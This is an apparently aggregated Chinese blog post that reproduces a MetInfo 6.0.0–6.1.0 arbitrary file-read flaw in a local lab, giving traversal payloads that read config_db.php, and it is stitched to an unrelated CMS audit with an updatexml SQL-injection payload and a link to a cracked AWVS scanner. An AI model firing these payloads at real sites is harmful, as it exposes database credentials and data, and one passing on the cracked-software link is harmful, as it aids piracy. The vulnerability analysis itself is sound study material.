记一次MetInfo6.0.0文件包含漏洞复现
Posted 不是为了猿而圆
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次MetInfo6.0.0文件包含漏洞复现相关的知识,希望对你有一定的参考价值。
记一次MetInfo漏洞复现
根据reebuf作者进行漏洞复现,原地址:【传送门】
MetInfo企业网站管理系统是一款开源cms建站系统,可以帮助用户轻松搭建网站,支持电脑网站、手机网站、微信公众号三大网络入口为一体的建站软件.如果你使用MetInfo企业网站管理系统搭建网站,你只需要进入网站后台,即可轻松更改管理网站,简单方便.只需一个后台,就可以便捷的管理电脑网站、手机网站、微信公众号、信息内容都可以一致同步推送.微信公众号管理系统让你无需支付任何费用就可以使用开发模式,无任何限制,并且能够免费使用开发模式实现的功能。
漏洞简介:
在MetInfo软件的old_thumb.class.php
文件存在任意文件读取漏洞。攻击者利用此文件漏洞窃取网站上的资产。
漏洞影响版本:
MetInfo 6.0.0~6.1.0
软件下载地址
开始复现
-
下载MetInfo 6.0.0版本软件,复制到phpstudy下的www里
-
开启phpstudy,并访问浏览器,打开MetInfo
-
开始安装
-
下载完成,打卡burpsuite,进入网站,输入include.thumb.php进行抓包分析
-
使用payload绕过,进行文件读取
-
?dir=.....///http/.....///config/config_db.php
-
能够响应成功,可是文件没有读取成功
-
使用第二个payload绕过
-
?dir=http/.....///.....///config/config_db.php
-
能够响应成功,可是文件也没有读取成功
-
使用第三个payload绕过
-
?dir=http\\..\\..\\config\\config_db.php
-
试着读取不同的敏感文件,同样成功!
-
敏感文件读取成功!复现成功。
代码分析:
可以打开app\\system\\include\\module\\old_thumb.class.php这个php文件,进行观察和学习
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web #old_thumb类
public function doshow() #doshow方法
global $_M; #全局变量 $_M
$dir = str_replace(array('../','./'), '', $_GET['dir']);
#$dir直接由$_GET['dir']传参,并将../和./过滤
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)
#使用substr函数提取字符串,从(str_replace($_M['url']['site'], '', $dir)的位置0开始取4个字符串。
#(str_replace($_M['url']['site'], '', $dir):是将$dir中包含$_M['url']['site']进行过滤掉 ' '。
#使用strpos函数查找$dir中的./首次出现的位置,并进行过滤。
#可以使用..\\来跳转目录【?dir=http\\..\\..\\config\\config_db.php】<—进行跳转
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
if($_M['form']['pageset'])
$path = $dir."&met-table=$_M['form']['met-table']&met-field=$_M['form']['met-field']";
else
$path = $dir;
$image = thumb($path,$_M['form']['x'],$_M['form']['y']);
if($_M['form']['pageset'])
$img = explode('?', $image);
$img = $img[0];
else
$img = $image;
if($img)
header("Content-type: image/jpeg");
ob_start();
readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
ob_flush();
flush();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>
如有错误!还请指教!
PHP代码审计 | 记一次CMS代码审计
记录一下代码审计的分析流程。
1.系统重装漏洞
利用条件
安装完成后未删除install.php
文件。
漏洞分析
定位到install.php
,第6行位置
判断了是否存在install.lock
文件,然后没有下文了。。。可能是开发失误。
漏洞复现
安装完成
然后访问install.php
可以重装
2.后台xss(滑稽)
3.sql语句暴露
4.后台sql注入(鸡肋)
漏洞复现
访问url:
http://127.0.0.1/uqcms/index.php/admin/ad/save
post提交数据 alias=1#&id=1 and updatexml(1,concat(0x7e,(select/**/user()),0x7e),1)#&name=2&px=0
漏洞分析
admin/ad_class.php
第62行
通过P函数获取id的值,跟进P函数
因为传入的是false
,去掉空格后直接返回,没有任何过滤。
5. 前台sql注入
利用条件
需要注册一个会员账号,
漏洞复现
漏洞分析
home/address.class.php
文件,第35行位置
通过P函数获取后直接传入sql语句进行查询。
sql注入在这套cms里应该是不少…,以上只是举个例子,开发者把希望寄托在了360_safe.php
提供的过滤规则上… ,虽然过滤大部分,但是没有过滤报错函数,POST方式没有过滤单引号。
6. 文件上传
本地上传正常图片也不行,没进一步测试,附上先知社区大佬分析
https://xz.aliyun.com/t/6075
推荐阅读:
https://xz.aliyun.com/t/6075
Awvs 12.0.190902105 Linux版本
链接:https://pan.baidu.com/s/18o4Ol3Tp16Ud4_E999EVpw
提取码:myd6
Linux版本安装后登陆下Web页面
1.使用patch激活
2.license_key随便填
参考来源:tkcharlotte‘s blog
如有侵权,请联系删除
以上是关于记一次MetInfo6.0.0文件包含漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
Java安全-Tomcat AJP 文件包含漏洞(CVE-2020-1938)幽灵猫漏洞复现